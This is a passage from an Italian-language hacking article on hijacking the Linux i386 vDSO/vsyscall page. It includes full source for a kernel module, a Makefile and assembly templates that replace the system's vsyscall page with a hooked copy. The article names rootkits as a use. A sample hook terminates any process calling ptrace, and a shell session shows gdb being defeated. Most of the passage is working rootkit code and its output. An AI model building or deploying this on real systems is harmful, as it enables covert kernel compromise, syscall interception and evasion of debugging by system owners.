__kernel_vsyscall;
__kernel_sigreturn;
__kernel_rt_sigreturn;

local: *;
};
}

ENTRY(__kernel_vsyscall);

Abbiamo semplicemente esportato i simboli elencati, tra cui __kernel_vsyscall,
che con il comando ENTRY viene promosso a entry point del vDSO, com'e' noto.
Ebbene, i nostri vDSO customizzati dovranno avere ne' piu' ne' meno lo stesso
aspetto di quelli originali, pertanto non c'e' altra scelta che utilizzare
l'appena esaminato linker script in fase di linking. Mentre sono necessari
alcuni accorgimenti per la fase di assemblaggio dei vDSO stessi. In questo
caso ci viene in soccorso il Makefile incaricato di cio':

/usr/src/linux/arch/i386/kernel/Makefile
[...]
# The DSO images are built using a special linker script.
quiet_cmd_syscall = SYSCALL $@
cmd_syscall = $(CC) -m elf_i386 -nostdlib $(SYSCFLAGS_$(@F)) \
-Wl,-T,$(filter-out FORCE,$^) -o $@
[...]
vsyscall-flags = -shared -s -Wl,-soname=linux-gate.so.1 \
$(call ld-option, -Wl$(comma)--hash-style=sysv)
SYSCFLAGS_vsyscall-sysenter.so = $(vsyscall-flags)
SYSCFLAGS_vsyscall-int80.so = $(vsyscall-flags)
[...]

In primis richiamiamo il linker script con -Wl,-T (-Wl e' un flag da passare al
compilatore in modo tale che esso fornisca al linker ld l'argomento seguente
la virgola, nel nostro caso -T, appunto). Per far si' che il gcc costruisca
per noi quella che a tutti gli effetti e' una shared library, passiamo il
flag -shared; rimuoviamo ogni simbolo dalla simbol table con -s (l'equivalente
del comando strip(1)); infine diciamo al linker di forgiare il nostro elf
con il nome di linux-gate.so.1: questo passaggio e' importante da un punto
di vista estetico, infatti:

sbudella@hannibal:~$ ldd /bin/cat
linux-gate.so.1 => (0xb7f42000)
libc.so.6 => /lib/libc.so.6 (0xb7e0e000)
/lib/ld-linux.so.2 (0xb7f43000)
sbudella@hannibal:~$

La dipendenza dal vDSO verra' risolta da ldd proprio con tale nome.
Riassumendo, tutti i flag appena visionati dovranno essere utilizzati in
fase di compilazione anche dal nostro Makefile, che si occupera' di costruire
i nostri vDSO modificati, per infondergli un aspetto del tutto simile a quello
degli originali.
Vieniamo ora alla modifica vera e propria. Dobbiamo basare il nostro lavoro
sui sorgenti forniti dal kernel, quindi disporremo di vsyscall-int80.S
e vsyscall-sysenter.S; abbiamo gia esaminato il codice, tuttavia puo' essere
chiarificatore riproporne il seguente frammento iniziale:

/usr/src/linux/arch/i386/kernel/vsyscall-sysenter.S
[...]
__kernel_vsyscall:
.LSTART_vsyscall:
push %ecx
.Lpush_ecx:
push %edx
.Lpush_edx:
push %ebp
.Lenter_kernel:
movl %esp,%ebp
sysenter

/* 7: align return point with nop's to make disassembly easier */
.space 7,0x90
[...]

E' ovvio che si riesce a controllare ogni aspetto di una syscall: possiamo
effettuare un confronto su %eax in modo tale da controllare l'eventualita'
di una syscall da dirottare; gli altri registri ci forniscono ulteriori
informazioni utili, ecc. Insomma, a questo punto e' banale implementare le
piu' classiche strategie di hook: si tratta soltanto di leggere e confrontare
gli argomenti della call, saltare al nostro codice di hooking e svolgere il
lavoro che gli abbiamo affidato, struttura questa comune ad ogni kernel
hack degno di questo nome.
Invece, per quel che riguarda piu' propriamente la nostra trattazione non
possiamo fare a meno di soffermarci sulla pseudo istruzione assembly
'.space 7,0x90': con questa diciamo all'assemblatore di riservare 7 bytes
subito dopo sysenter con il valore 0x90, cioe' nop, per non avere problemi di
allineamento del return point.
Se si prova a modificare il sorgente in modo spregiudicato e' inevitabile
incappare in segmentation fault, causa il disallineamento delle istruzioni
successive a sysenter: ecco quindi che si rende necessaria un'attenta
sistemazione del codice di hooking. L'autore del presente articolo ha deciso di
intraprendere la strada seguente:
- copiare il codice di hook alla fine del file vsyscall-sigreturn.S,
richiamato in fase di compilazione da vsyscall-sysenter.S;
- modificare vsyscall-sysenter.S come illustrato:
[...]
__kernel_vsyscall:
jmp HOOK
.LSTART_vsyscall:
push %ecx
[...]
dove HOOK e' la label all'indirizzo del codice di hooking in
vsyscall-sigreturn.S;
- E' opportuno reallineare il return point, ci vengono in soccorso
le considerazioni seguenti: l'istruzione jmp HOOK conta solamente
due bytes (opcode eb XX); dunque modifichiamo la direttiva
all'assemblatore vista prima sottraendo a 7 la dimensione
del salto al codice di hooking:
[...]
/* 7: align return point with nop's to make disassembly easier */
.space 5,0x90
[...]

In questo modo possiamo avere hook di qualsiasi dimensione si voglia senza
temere complicazioni di sorta.
E' oltremodo importante fare un'ultima considerazione sull'argomento:
i nostri hook verranno performati in USER SPACE, sebbene il nostro lavoro
di hijacking si svolga in kernel space, e questo puo' avere implicazioni
notevoli riguardo flessibilita' o possibilita' di usare codice della libc
per i nostri hook, semplificando cosi' il lavoro di chi si appresta a scrivere
codice di genere (rootkit ecc.).
Comunque sia, per una comprensione piu' approfondita si consiglia di consultare
il codice in allegato.

***** Codice e Considerazioni Finali.

Quello che segue e' il codice di accompagnamento a tutta la nostra trattazione:
come gia' visto e' di una semplicita' elegante ed efficace. Esso si
occupa di compiere quanto discusso, fornendo un framework minimale per la
realizzazione di codice personalizzato: cio' e' possibile grazie alla totale
separazione del codice di hooking (user space) dal vettore di attacco al
kernel space che nient'altro e' che un piccolo LKM. Inutile dire che la nostra
tecnica e' facilmente implementabile anche mediante iniezione diretta del
codice in /dev/kmem.

<-| vdso/Makefile |->
##########
## vsyscall page hijacking: makefile;
## author: sbudella (Giuseppe Cocomazzi);
## contact: sbudella@libero.it;
## date: 23 jul 2007;
## license: gnu general public license, version 2;
##########

ifneq ($(KERNELRELEASE),)
obj-m := vdso_hack.o
else
KERNELDIR ?= /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)

default:
# create vsyscall-int80.S from template
rm -f vsyscall-int80.S
head -6 int80.template > vsyscall-int80.S
echo -e "\tjmp HOOK" >> vsyscall-int80.S
tail -40 int80.template >> vsyscall-int80.S

# create vsyscall-sysenter.S from template
rm -f vsyscall-sysenter.S
head -6 sysenter.template > vsyscall-sysenter.S
echo -e "\tjmp HOOK" >> vsyscall-sysenter.S
tail -91 sysenter.template | head -11 >> vsyscall-sysenter.S
echo -e "\t.space 5,0x90" >> vsyscall-sysenter.S
tail -79 sysenter.template >> vsyscall-sysenter.S

# create vsyscall-sigreturn joined with hook code
rm -f vsyscall-sigreturn.S
cp sigreturn.template vsyscall-sigreturn.S
echo >> vsyscall-sigreturn.S
cat hook.S >> vsyscall-sigreturn.S

# compile code for the hacked int80 vDSO
gcc -c -o note.o vsyscall-note.S
gcc -c -o mcnamara.o vsyscall-int80.S
ld -T vsyscall.lds.S -shared -s -soname=linux-gate.so.hacked \
--hash-style=sysv -o mcnamara mcnamara.o note.o

# compile code for the hacked sysenter vDSO
gcc -c -o troy.o vsyscall-sysenter.S
ld -T vsyscall.lds.S -shared -s -soname=linux-gate.so.hacked \
--hash-style=sysv -o troy troy.o note.o

# compile code for the original int80 vDSO
cp int80.template int80-orig.S
gcc -c -o int80.o int80-orig.S
ld -T vsyscall.lds.S -shared -s -soname=linux-gate.so.1 \
--hash-style=sysv -o int80.so int80.o note.o

# compile code for the original sysenter vDSO
cp sysenter.template sysenter-orig.S
gcc -c -o sysent.o sysenter-orig.S
ld -T vsyscall.lds.S -shared -s -soname=linux-gate.so.1 \
--hash-style=sysv -o sysent.so sysent.o note.o

$(MAKE) -C $(KERNELDIR) M=$(PWD) modules
clean:
rm -rf vdso_hack{.o,.ko,.mod.*} Module.* .vdso_hack* .tmp_versions/
rm -f mcnamara* troy* note.o
rm -f vsyscall-{sysenter,int80,sigreturn}.S
rm -f {int80,sysenter}-orig.S
rm -f {int80,sysent}.{o,so}

endif
<-X->

<-| vdso/asm-offsets.h |->
#ifndef __ASM_OFFSETS_H__
#define __ASM_OFFSETS_H__
/*
* DO NOT MODIFY.
*
* This file was generated by Kbuild
*
*/


#define SIGCONTEXT_eax 44 /* offsetof(struct sigcontext, eax) # */
#define SIGCONTEXT_ebx 32 /* offsetof(struct sigcontext, ebx) # */
#define SIGCONTEXT_ecx 40 /* offsetof(struct sigcontext, ecx) # */
#define SIGCONTEXT_edx 36 /* offsetof(struct sigcontext, edx) # */
#define SIGCONTEXT_esi 20 /* offsetof(struct sigcontext, esi) # */
#define SIGCONTEXT_edi 16 /* offsetof(struct sigcontext, edi) # */
#define SIGCONTEXT_ebp 24 /* offsetof(struct sigcontext, ebp) # */
#define SIGCONTEXT_esp 28 /* offsetof(struct sigcontext, esp) # */
#define SIGCONTEXT_eip 56 /* offsetof(struct sigcontext, eip) # */

#define CPUINFO_x86 0 /* offsetof(struct cpuinfo_x86, x86) # */
#define CPUINFO_x86_vendor 1 /* offsetof(struct cpuinfo_x86, x86_vendor) # */
#define CPUINFO_x86_model 2 /* offsetof(struct cpuinfo_x86, x86_model) # */
#define CPUINFO_x86_mask 3 /* offsetof(struct cpuinfo_x86, x86_mask) # */
#define CPUINFO_hard_math 6 /* offsetof(struct cpuinfo_x86, hard_math) # */
#define CPUINFO_cpuid_level 8 /* offsetof(struct cpuinfo_x86, cpuid_level) # */
#define CPUINFO_x86_capability 12 /* offsetof(struct cpuinfo_x86, x86_capability) # */
#define CPUINFO_x86_vendor_id 40 /* offsetof(struct cpuinfo_x86, x86_vendor_id) # */

#define TI_task 0 /* offsetof(struct thread_info, task) # */
#define TI_exec_domain 4 /* offsetof(struct thread_info, exec_domain) # */
#define TI_flags 8 /* offsetof(struct thread_info, flags) # */
#define TI_status 12 /* offsetof(struct thread_info, status) # */
#define TI_preempt_count 20 /* offsetof(struct thread_info, preempt_count) # */
#define TI_addr_limit 24 /* offsetof(struct thread_info, addr_limit) # */
#define TI_restart_block 32 /* offsetof(struct thread_info, restart_block) # */
#define TI_sysenter_return 28 /* offsetof(struct thread_info, sysenter_return) # */

#define GDS_size 0 /* offsetof(struct Xgt_desc_struct, size) # */
#define GDS_address 2 /* offsetof(struct Xgt_desc_struct, address) # */
#define GDS_pad 6 /* offsetof(struct Xgt_desc_struct, pad) # */

#define PT_EBX 0 /* offsetof(struct pt_regs, ebx) # */
#define PT_ECX 4 /* offsetof(struct pt_regs, ecx) # */
#define PT_EDX 8 /* offsetof(struct pt_regs, edx) # */
#define PT_ESI 12 /* offsetof(struct pt_regs, esi) # */
#define PT_EDI 16 /* offsetof(struct pt_regs, edi) # */
#define PT_EBP 20 /* offsetof(struct pt_regs, ebp) # */
#define PT_EAX 24 /* offsetof(struct pt_regs, eax) # */
#define PT_DS 28 /* offsetof(struct pt_regs, xds) # */
#define PT_ES 32 /* offsetof(struct pt_regs, xes) # */
#define PT_FS 36 /* offsetof(struct pt_regs, xfs) # */
#define PT_ORIG_EAX 40 /* offsetof(struct pt_regs, orig_eax) # */
#define PT_EIP 44 /* offsetof(struct pt_regs, eip) # */
#define PT_CS 48 /* offsetof(struct pt_regs, xcs) # */
#define PT_EFLAGS 52 /* offsetof(struct pt_regs, eflags) # */
#define PT_OLDESP 56 /* offsetof(struct pt_regs, esp) # */
#define PT_OLDSS 60 /* offsetof(struct pt_regs, xss) # */

#define EXEC_DOMAIN_handler 4 /* offsetof(struct exec_domain, handler) # */
#define RT_SIGFRAME_sigcontext 164 /* offsetof(struct rt_sigframe, uc.uc_mcontext) # */

#define pbe_address 0 /* offsetof(struct pbe, address) # */
#define pbe_orig_address 4 /* offsetof(struct pbe, orig_address) # */
#define pbe_next 8 /* offsetof(struct pbe, next) # */
#define TSS_sysenter_esp0 -8700 /* offsetof(struct tss_struct, esp0) - sizeof(struct tss_struct) # */
#define PAGE_SIZE_asm 4096 /* PAGE_SIZE # */
#define VDSO_PRELINK -8192 /* VDSO_PRELINK # */
#define crypto_tfm_ctx_offset 52 /* offsetof(struct crypto_tfm, __crt_ctx) # */

#define PDA_cpu 4 /* offsetof(struct i386_pda, cpu_number) # */
#define PDA_pcurrent 8 /* offsetof(struct i386_pda, pcurrent) # */

#endif
<-X->

<-| vdso/int80.template |->
/* this is part of the linux kernel */
/* modified by sbudella for vdso_hack */
.text
.globl __kernel_vsyscall
.type __kernel_vsyscall,@function
__kernel_vsyscall:
.LSTART_vsyscall:
int $0x80
ret
.LEND_vsyscall:
.size __kernel_vsyscall,.-.LSTART_vsyscall
.previous

.section .eh_frame,"a",@progbits
.LSTARTFRAMEDLSI:
.long .LENDCIEDLSI-.LSTARTCIEDLSI
.LSTARTCIEDLSI:
.long 0 /* CIE ID */
.byte 1 /* Version number */
.string "zR" /* NUL-terminated augmentation string */
.uleb128 1 /* Code alignment factor */
.sleb128 -4 /* Data alignment factor */
.byte 8 /* Return address register column */
.uleb128 1 /* Augmentation value length */
.byte 0x1b /* DW_EH_PE_pcrel|DW_EH_PE_sdata4. */
.byte 0x0c /* DW_CFA_def_cfa */
.uleb128 4
.uleb128 4
.byte 0x88 /* DW_CFA_offset, column 0x8 */
.uleb128 1
.align 4
.LENDCIEDLSI:
.long .LENDFDEDLSI-.LSTARTFDEDLSI /* Length FDE */
.LSTARTFDEDLSI:
.long .LSTARTFDEDLSI-.LSTARTFRAMEDLSI /* CIE pointer */
.long .LSTART_vsyscall-. /* PC-relative start address */
.long .LEND_vsyscall-.LSTART_vsyscall
.uleb128 0
.align 4
.LENDFDEDLSI:
.previous

/*
* Get the common code for the sigreturn entry points.
*/

#include "vsyscall-sigreturn.S"
<-X->

<-| vdso/sigreturn.template |->
/* this is part of the linux kernel code */
/* modified by sbudella for vdso_hack */
#include <asm/unistd.h>
#include "asm-offsets.h"


/* XXX
Should these be named "_sigtramp" or something?
*/


.text
.org __kernel_vsyscall+32,0x90
.globl __kernel_sigreturn
.type __kernel_sigreturn,@function
__kernel_sigreturn:
.LSTART_sigreturn:
popl %eax /* XXX does this mean it needs unwind info? */
movl $__NR_sigreturn, %eax
int $0x80
.LEND_sigreturn:
.size __kernel_sigreturn,.-.LSTART_sigreturn

.balign 32
.globl __kernel_rt_sigreturn
.type __kernel_rt_sigreturn,@function
__kernel_rt_sigreturn:
.LSTART_rt_sigreturn:
movl $__NR_rt_sigreturn, %eax
int $0x80
.LEND_rt_sigreturn:
.size __kernel_rt_sigreturn,.-.LSTART_rt_sigreturn
.balign 32
.previous

.section .eh_frame,"a",@progbits
.LSTARTFRAMEDLSI1:
.long .LENDCIEDLSI1-.LSTARTCIEDLSI1
.LSTARTCIEDLSI1:
.long 0 /* CIE ID */
.byte 1 /* Version number */
.string "zRS" /* NUL-terminated augmentation string */
.uleb128 1 /* Code alignment factor */
.sleb128 -4 /* Data alignment factor */
.byte 8 /* Return address register column */
.uleb128 1 /* Augmentation value length */
.byte 0x1b /* DW_EH_PE_pcrel|DW_EH_PE_sdata4. */
.byte 0 /* DW_CFA_nop */
.align 4
.LENDCIEDLSI1:
.long .LENDFDEDLSI1-.LSTARTFDEDLSI1 /* Length FDE */
.LSTARTFDEDLSI1:
.long .LSTARTFDEDLSI1-.LSTARTFRAMEDLSI1 /* CIE pointer */
/* HACK: The dwarf2 unwind routines will subtract 1 from the
return address to get an address in the middle of the
presumed call instruction. Since we didn't get here via
a call, we need to include the nop before the real start
to make up for it. */

.long .LSTART_sigreturn-1-. /* PC-relative start address */
.long .LEND_sigreturn-.LSTART_sigreturn+1
.uleb128 0 /* Augmentation */
/* What follows are the instructions for the table generation.
We record the locations of each register saved. This is
complicated by the fact that the "CFA" is always assumed to
be the value of the stack pointer in the caller. This means
that we must define the CFA of this body of code to be the
saved value of the stack pointer in the sigcontext. Which
also means that there is no fixed relation to the other
saved registers, which means that we must use DW_CFA_expression
to compute their addresses. It also means that when we
adjust the stack with the popl, we have to do it all over again. */


#define do_cfa_expr(offset) \
.byte 0x0f; /* DW_CFA_def_cfa_expression */ \
.uleb128 1f-0f; /* length */ \
0: .byte 0x74; /* DW_OP_breg4 */ \
.sleb128 offset; /* offset */ \
.byte 0x06; /* DW_OP_deref */ \
1:

#define do_expr(regno, offset) \
.byte 0x10; /* DW_CFA_expression */ \
.uleb128 regno; /* regno */ \
.uleb128 1f-0f; /* length */ \
0: .byte 0x74; /* DW_OP_breg4 */ \
.sleb128 offset; /* offset */ \
1:

do_cfa_expr(SIGCONTEXT_esp+4)
do_expr(0, SIGCONTEXT_eax+4)
do_expr(1, SIGCONTEXT_ecx+4)
do_expr(2, SIGCONTEXT_edx+4)
do_expr(3, SIGCONTEXT_ebx+4)
do_expr(5, SIGCONTEXT_ebp+4)
do_expr(6, SIGCONTEXT_esi+4)
do_expr(7, SIGCONTEXT_edi+4)
do_expr(8, SIGCONTEXT_eip+4)

.byte 0x42 /* DW_CFA_advance_loc 2 -- nop; popl eax. */

do_cfa_expr(SIGCONTEXT_esp)
do_expr(0, SIGCONTEXT_eax)
do_expr(1, SIGCONTEXT_ecx)
do_expr(2, SIGCONTEXT_edx)
do_expr(3, SIGCONTEXT_ebx)
do_expr(5, SIGCONTEXT_ebp)
do_expr(6, SIGCONTEXT_esi)
do_expr(7, SIGCONTEXT_edi)
do_expr(8, SIGCONTEXT_eip)

.align 4
.LENDFDEDLSI1:

.long .LENDFDEDLSI2-.LSTARTFDEDLSI2 /* Length FDE */
.LSTARTFDEDLSI2:
.long .LSTARTFDEDLSI2-.LSTARTFRAMEDLSI1 /* CIE pointer */
/* HACK: See above wrt unwind library assumptions. */
.long .LSTART_rt_sigreturn-1-. /* PC-relative start address */
.long .LEND_rt_sigreturn-.LSTART_rt_sigreturn+1
.uleb128 0 /* Augmentation */
/* What follows are the instructions for the table generation.
We record the locations of each register saved. This is
slightly less complicated than the above, since we don't
modify the stack pointer in the process. */


do_cfa_expr(RT_SIGFRAME_sigcontext-4 + SIGCONTEXT_esp)
do_expr(0, RT_SIGFRAME_sigcontext-4 + SIGCONTEXT_eax)
do_expr(1, RT_SIGFRAME_sigcontext-4 + SIGCONTEXT_ecx)
do_expr(2, RT_SIGFRAME_sigcontext-4 + SIGCONTEXT_edx)
do_expr(3, RT_SIGFRAME_sigcontext-4 + SIGCONTEXT_ebx)
do_expr(5, RT_SIGFRAME_sigcontext-4 + SIGCONTEXT_ebp)
do_expr(6, RT_SIGFRAME_sigcontext-4 + SIGCONTEXT_esi)
do_expr(7, RT_SIGFRAME_sigcontext-4 + SIGCONTEXT_edi)
do_expr(8, RT_SIGFRAME_sigcontext-4 + SIGCONTEXT_eip)

.align 4
.LENDFDEDLSI2:
.previous
<-X->

<-| vdso/sysenter.template |->
/* this is part of the linux kernel */
/* modified by sbudella for vdso_hack */
.text
.globl __kernel_vsyscall
.type __kernel_vsyscall,@function
__kernel_vsyscall:
.LSTART_vsyscall:
push %ecx
.Lpush_ecx:
push %edx
.Lpush_edx:
push %ebp
.Lenter_kernel:
movl %esp,%ebp
sysenter

/* 7: align return point with nop's to make disassembly easier */
.space 7,0x90

/* 14: System call restart point is here! (SYSENTER_RETURN-2) */
jmp .Lenter_kernel
/* 16: System call normal return point is here! */
.globl SYSENTER_RETURN /* Symbol used by sysenter.c */
SYSENTER_RETURN:
pop %ebp
.Lpop_ebp:
pop %edx
.Lpop_edx:
pop %ecx
.Lpop_ecx:
ret
.LEND_vsyscall:
.size __kernel_vsyscall,.-.LSTART_vsyscall
.previous

.section .eh_frame,"a",@progbits
.LSTARTFRAMEDLSI:
.long .LENDCIEDLSI-.LSTARTCIEDLSI
.LSTARTCIEDLSI:
.long 0 /* CIE ID */
.byte 1 /* Version number */
.string "zR" /* NUL-terminated augmentation string */
.uleb128 1 /* Code alignment factor */
.sleb128 -4 /* Data alignment factor */
.byte 8 /* Return address register column */
.uleb128 1 /* Augmentation value length */
.byte 0x1b /* DW_EH_PE_pcrel|DW_EH_PE_sdata4. */
.byte 0x0c /* DW_CFA_def_cfa */
.uleb128 4
.uleb128 4
.byte 0x88 /* DW_CFA_offset, column 0x8 */
.uleb128 1
.align 4
.LENDCIEDLSI:
.long .LENDFDEDLSI-.LSTARTFDEDLSI /* Length FDE */
.LSTARTFDEDLSI:
.long .LSTARTFDEDLSI-.LSTARTFRAMEDLSI /* CIE pointer */
.long .LSTART_vsyscall-. /* PC-relative start address */
.long .LEND_vsyscall-.LSTART_vsyscall
.uleb128 0
/* What follows are the instructions for the table generation.
We have to record all changes of the stack pointer. */

.byte 0x04 /* DW_CFA_advance_loc4 */
.long .Lpush_ecx-.LSTART_vsyscall
.byte 0x0e /* DW_CFA_def_cfa_offset */
.byte 0x08 /* RA at offset 8 now */
.byte 0x04 /* DW_CFA_advance_loc4 */
.long .Lpush_edx-.Lpush_ecx
.byte 0x0e /* DW_CFA_def_cfa_offset */
.byte 0x0c /* RA at offset 12 now */
.byte 0x04 /* DW_CFA_advance_loc4 */
.long .Lenter_kernel-.Lpush_edx
.byte 0x0e /* DW_CFA_def_cfa_offset */
.byte 0x10 /* RA at offset 16 now */
.byte 0x85, 0x04 /* DW_CFA_offset %ebp -16 */
/* Finally the epilogue. */
.byte 0x04 /* DW_CFA_advance_loc4 */
.long .Lpop_ebp-.Lenter_kernel
.byte 0x0e /* DW_CFA_def_cfa_offset */
.byte 0x0c /* RA at offset 12 now */
.byte 0xc5 /* DW_CFA_restore %ebp */
.byte 0x04 /* DW_CFA_advance_loc4 */
.long .Lpop_edx-.Lpop_ebp
.byte 0x0e /* DW_CFA_def_cfa_offset */
.byte 0x08 /* RA at offset 8 now */
.byte 0x04 /* DW_CFA_advance_loc4 */
.long .Lpop_ecx-.Lpop_edx
.byte 0x0e /* DW_CFA_def_cfa_offset */
.byte 0x04 /* RA at offset 4 now */
.align 4
.LENDFDEDLSI:
.previous

/*
* Get the common code for the sigreturn entry points.
*/

#include "vsyscall-sigreturn.S"
<-X->

<-| vdso/vdso_hack.c |->
/*====================
== vsyscall page hijacking: vdso_hack.c;
== author: sbudella (Giuseppe Cocomazzi);
== contact: sbudella@libero.it;
== date: 08 may 2007 - fixmapped vdso only;
== 23 jul 2007 - randomized vdso;
== usage: make &&
== insmod vdso_hack.ko syscall_pages_addr=`echo 0x``grep syscall_pages /boot/System.map | cut -f0-1 -d" "``` __set_fixmap_addr=`echo 0x``grep __set_fixmap /boot/System.map | cut -f0-1 -d" "```
== description: given the address of syscall_pages in kernel memory,
== create a new page frame which will contain the code of
== a vsyscall page modified to suit attackers' needs. Thus
== the original syscall page will point to the hacked one,
== and we can hijack syscalls directly in user-space without
== even touching the syscall table.
== license: gnu general public license, version 2;
====================*/


#include <linux/init.h>
#include <linux/module.h>

#include <asm/fixmap.h>
#include <asm/pgalloc.h>

/* modify these as the size of the shared objs grows */
#define MCNAMARA_SIZE 2116
#define TROY_SIZE 2140
#define DFLT_INT80_SIZE 2192
#define DFLT_SYSENTER_SIZE 2216

/* modify these paths to resemble your cwd */
#define MCNAMARA_INCBIN ".incbin \"/home/sbudella/src/vdso/mcnamara\""
#define TROY_INCBIN ".incbin \"/home/sbudella/src/vdso/troy\""
#define DFLT_INT80_INCBIN ".incbin \"/home/sbudella/src/vdso/int80.so\""
#define DFLT_SYSENTER_INCBIN ".incbin \"/home/sbudella/src/vdso/sysent.so\""

/* retrieved from System.map */
#define SYSCALL_PAGES_ADDR 0xc07be240
#define SET_FIXMAP_ADDR 0xc0113e80

unsigned long syscall_pages_addr = SYSCALL_PAGES_ADDR;
unsigned long __set_fixmap_addr = SET_FIXMAP_ADDR;
module_param(syscall_pages_addr,long,0);
module_param(__set_fixmap_addr,long,0);

void *new_syscall_page = NULL;

void mcnamara(void);
void troy(void);
void default_int80(void);
void default_sysenter(void);

static int vdso_hack_init(void)
{
new_syscall_page = (void *) get_zeroed_page(GFP_ATOMIC);
struct page **o_syscall_pages = (struct page **) SYSCALL_PAGES_ADDR;
void (*__set_fixmap_)(enum fixed_addresses idx,unsigned long phys,
pgprot_t flags) = (void *) SET_FIXMAP_ADDR;

/* command line parameters */
__set_fixmap_ = (void *) __set_fixmap_addr;
o_syscall_pages = (struct page **) syscall_pages_addr;

#ifdef CONFIG_COMPAT_VDSO
/* equivalent to clear_fixmap(FIX_VDSO) */
__set_fixmap_(FIX_VDSO,0,__pgprot(0));

/* new fixmapping for the vsyscall page */
__set_fixmap_(FIX_VDSO,__pa(new_syscall_page),PAGE_READONLY_EXEC);

#else
o_syscall_pages[0] = virt_to_page(new_syscall_page);

#endif

if(!boot_cpu_has(X86_FEATURE_SEP)) {
memcpy(new_syscall_page,mcnamara,MCNAMARA_SIZE);
return 0;
}

memcpy(new_syscall_page,troy,TROY_SIZE);

return 0;

}

/* restore the original vsyscall page */
static void vdso_hack_exit(void)
{
if(!boot_cpu_has(X86_FEATURE_SEP))
memcpy(new_syscall_page,default_int80,DFLT_INT80_SIZE);

memcpy(new_syscall_page,default_sysenter,DFLT_SYSENTER_SIZE);
}

void mcnamara(void)
{
__asm__(MCNAMARA_INCBIN);
}

void troy(void)
{
__asm__(TROY_INCBIN);
}

void default_sysenter(void)
{
__asm__(DFLT_SYSENTER_INCBIN);
}

void default_int80(void)
{
__asm__(DFLT_INT80_INCBIN);
}

module_init(vdso_hack_init);
module_exit(vdso_hack_exit);
MODULE_LICENSE("GPL");
<-X->

<-| vdso/vsyscall-note.S |->
#include <linux/uts.h>
#include <linux/version.h>

#define ASM_ELF_NOTE_BEGIN(name, flags, vendor, type) \
.section name, flags; \
.balign 4; \
.long 1f - 0f; /* name length */ \
.long 3f - 2f; /* data length */ \
.long type; /* note type */ \
0: .asciz vendor; /* vendor name */ \
1: .balign 4; \
2:

#define ASM_ELF_NOTE_END \
3: .balign 4; /* pad out section */ \
.previous

ASM_ELF_NOTE_BEGIN(".note.kernel-version", "a", UTS_SYSNAME, 0)
.long LINUX_VERSION_CODE
ASM_ELF_NOTE_END
<-X->

<-| vdso/vsyscall.lds.S |->
/*
* Linker script for vsyscall DSO. The vsyscall page is an ELF shared
* object prelinked to its virtual address, and with only one read-only
* segment (that fits in one page). This script controls its layout.
*/

VDSO_PRELINK = (-8192);

SECTIONS
{
. = VDSO_PRELINK + SIZEOF_HEADERS;

.hash : { *(.hash) } :text
.gnu.hash : { *(.gnu.hash) }
.dynsym : { *(.dynsym) }
.dynstr : { *(.dynstr) }
.gnu.version : { *(.gnu.version) }
.gnu.version_d : { *(.gnu.version_d) }
.gnu.version_r : { *(.gnu.version_r) }

/* This linker script is used both with -r and with -shared.
For the layouts to match, we need to skip more than enough
space for the dynamic symbol table et al. If this amount
is insufficient, ld -shared will barf. Just increase it here. */

. = VDSO_PRELINK + 0x400;

.text : { *(.text) } :text =0x90909090
.note : { *(.note.*) } :text :note
.eh_frame_hdr : { *(.eh_frame_hdr) } :text :eh_frame_hdr
.eh_frame : { KEEP (*(.eh_frame)) } :text
.dynamic : { *(.dynamic) } :text :dynamic
.useless : {
*(.got.plt) *(.got)
*(.data .data.* .gnu.linkonce.d.*)
*(.dynbss)
*(.bss .bss.* .gnu.linkonce.b.*)
} :text
}

/*
* We must supply the ELF program headers explicitly to get just one
* PT_LOAD segment, and set the flags explicitly to make segments read-only.
*/

PHDRS
{
text PT_LOAD FILEHDR PHDRS FLAGS(5); /* PF_R|PF_X */
dynamic PT_DYNAMIC FLAGS(4); /* PF_R */
note PT_NOTE FLAGS(4); /* PF_R */
eh_frame_hdr 0x6474e550; /* PT_GNU_EH_FRAME, but ld doesn't match the name */
}

/*
* This controls what symbols we export from the DSO.
*/

VERSION
{
LINUX_2.5 {
global:
__kernel_vsyscall;
__kernel_sigreturn;
__kernel_rt_sigreturn;

local: *;
};
}

/* The ELF entry point can be used to set the AT_SYSINFO value. */
ENTRY(__kernel_vsyscall);
<-X->


Diamo ora alcune indicazioni sul suo utilizzo.
Il file piu' importante di tutto il resto e' sicuramente il Makefile: esso
si occupa di modificare i template del kernel Linux affinche' contengano il
codice di hook. Quest'ultimo deve trovarsi in un file di nome hook.S,
cosi' da essere messo in append a vsyscall-sigreturn.S ed essere richiamato
da __kernel_vsyscall. Ad esempio, in un semplice scenario in cui si volesse
disattivare la syscall ptrace, avremmo:

<-| vdso/hook.S |->
/* insert the syscall hook code here */
HOOK:
cmpl $26,%eax # sys_ptrace
jne .LSTART_vsyscall
movl $1,%eax # sys_exit
jmp .LSTART_vsyscall
<-X->

Questo e' un esempio dimostrativo molto semplice, tuttavia con qualche forma
di utilita' (vedere anti-debug tricks o anti-symbiotic process execution ;-).
Vediamolo in funzione: innanzi tutto modifichiamo le seguenti righe in
vdso_hack.c:

/* modify these paths to resemble your cwd */
#define MCNAMARA_INCBIN ".incbin \"/home/sbudella/src/vdso/mcnamara\""
#define TROY_INCBIN ".incbin \"/home/sbudella/src/vdso/troy\""
#define DFLT_INT80_INCBIN ".incbin

  
\"/home/sbudella/src/vdso/int80.so\""
#define DFLT_SYSENTER_INCBIN ".incbin \"/home/sbudella/src/vdso/sysent.so\""

I path devono riflettere la vostra current working directory in maniera
assoluta e non relativa; i nomi dei binari restano invariati.
Successivamente compiliamo e insmodiamo:

sbudella@hannibal:~/src/vdso$ ls
Makefile int80.template vdso_hack.c
asm-offsets.h sigreturn.template vsyscall-note.S
hook.S sysenter.template vsyscall.lds.S
sbudella@hannibal:~/src/vdso$ make
[...]
sbudella@hannibal:~/src/vdso$ grep syscall_pages /boot/System.map
c07be240 b syscall_pages
root@hannibal:/home/sbudella/src/vdso# insmod vdso_hack.ko syscall_pages_addr=0xc07be240
root@hannibal:/home/sbudella/src/vdso#

Proviamo a richiamare la syscall ptrace mediante gdb:

sbudella@hannibal:~$ gdb -q /bin/date
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) run
Starting program: /bin/date
sbudella@hannibal:~$

Funge. Nel momento in cui gdb tenta di lanciare il programma esso fallisce
miseramente invocando sys_exit. Ispezioniamo piu' a fondo:

sbudella@hannibal:~$ ldd /bin/cat
linux-gate.so.hacked => (0xb7f98000)
libc.so.6 => /lib/libc.so.6 (0xb7e64000)
/lib/ld-linux.so.2 (0xb7f99000)
sbudella@hannibal:~$

